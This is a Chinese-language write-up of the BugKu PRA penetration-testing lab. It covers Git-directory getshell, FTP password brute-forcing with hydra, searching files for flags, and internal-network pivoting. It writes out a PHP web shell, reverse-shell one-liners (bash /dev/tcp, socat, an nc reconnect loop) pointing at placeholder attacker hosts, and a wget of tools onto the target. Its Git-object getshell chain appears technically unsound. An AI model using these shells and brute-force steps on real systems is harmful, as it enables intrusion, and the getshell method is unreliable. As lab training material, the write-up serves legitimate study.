BugKu PRA靶场复盘:除了漏洞利用,Git仓库getshell与FTP弱口令这些“边角料”也别放过
BugKu PRA靶场复盘:那些容易被忽略的攻击面实战指南
在渗透测试的实战中,真正的挑战往往不在于那些教科书式的漏洞利用,而在于如何发现并利用那些被大多数人忽略的"边角料"。本文将带你深入BugKu PRA靶场中那些容易被忽视的攻击面,从Git仓库利用到FTP弱口令突破,再到关键文件挖掘,为你打开渗透测试的新视角。
1. Git仓库:从信息泄露到getshell的完整链条
当扫描发现.git目录时,大多数人的第一反应是使用git-dumper工具下载仓库内容。但在实战中,这仅仅是开始。
1.1 深入挖掘.git目录的价值
标准的.git目录下载后,我们通常会检查:
config文件:可能包含数据库凭证或内部服务地址logs/HEAD:查看最近提交记录,寻找敏感注释index文件:分析当前暂存区内容
但PRA靶场展示了一个更隐蔽的攻击路径:利用可解析的服务器文件后缀。当服务器配置不当,允许解析.phtml等特殊后缀时,我们可以:
# 检查服务器是否解析.phtml curl -I http://192.168.1.3/.git/backdoor.phtml1.2 实战中的getshell技巧
在确认服务器解析.phtml后,攻击流程如下:
在本地创建恶意文件:
<?php system($_GET['cmd']); ?>利用git对象存储机制上传:
git hash-object -w backdoor.phtml通过git的松散对象访问机制执行:
http://192.168.1.3/.git/objects/xx/xxxxxx
注意:不同服务器对git对象的访问权限设置不同,有时需要尝试多种路径组合。
2. FTP服务:弱口令与目录遍历的深度利用
面对仅开放21端口的FTP服务,很多测试者会轻易放弃。但PRA靶场证明,这里可能藏着关键突破口。
2.1 高效爆破FTP弱口令的策略
不要局限于常见的admin/admin组合,实战中有效的爆破字典应包含:
- 用户名密码相同的情况(如guest/guest)
- 公司名/产品名相关的组合
- 近期数据泄露中的高频凭证
使用hydra进行智能爆破:
hydra -L common_users.txt -P top100_passwords.txt ftp://10.10.0.3 -t 4 -vV2.2 登录后的关键操作清单
成功登录FTP后,立即执行以下检查:
查看当前目录文件列表:
ls -la检查可写目录:
find . -writable -type d寻找包含特定关键词的文件:
find . -name "*.sh" -o -name "*.conf"
3. 文件翻找:渗透测试中的"寻宝游戏"
在获取初步权限后,系统性地翻找文件往往能发现意外收获。
3.1 必须检查的关键文件位置
| 文件类型 | 典型路径 | 可能包含的信息 |
|---|---|---|
| 启动脚本 | /start.sh, /etc/init.d/ | 环境变量、服务配置 |
| 配置文件 | .conf, config. | 数据库凭证、API密钥 |
| 日志文件 | /var/log/* | 访问记录、错误信息 |
| 临时文件 | /tmp/, /var/tmp/ | 进程转储、会话数据 |
3.2 从start.sh中发现关键线索
PRA靶场中,start.sh文件揭示了flag3的位置。分析这类脚本时,重点关注:
- 环境变量设置
- 服务启动参数
- 文件包含关系
- 注释中的提示信息
例如:
#!/bin/bash # flag3 is in the static/js/utils.js npm start4. 多层网络环境下的渗透策略
当目标处于多层网络后时,需要调整扫描和利用策略。
4.1 内网扫描的精准方法
使用适合内网的轻量级扫描器:
# 快速识别存活主机 fscan -h 192.168.0.1/24 -p 21,22,80,443 -o result.txt # 深度服务识别 nmap -sS -sV -T4 -Pn 10.10.0.3 --script=banner4.2 稳定维持访问的技术要点
在连接不稳定的内网环境中,建议:
使用多种反弹shell方式:
# 基础bash反弹 bash -i >& /dev/tcp/your_ip/4444 0>&1 # 使用socat更稳定 socat TCP:your_ip:4444 EXEC:/bin/bash设置自动重连机制:
while true; do nc your_ip 4444 -e /bin/bash; sleep 5; done优先上传静态二进制工具:
# 上传静态编译的busybox wget http://your_server/busybox -O /tmp/busybox chmod +x /tmp/busybox
渗透测试的艺术在于将每个看似微不足道的发现转化为实际突破口。在最近的一次红队演练中,正是通过系统性地检查.git目录和FTP服务,我们绕过了目标系统的主要防护措施。记住,没有无用的信息,只有未被充分利用的信息。
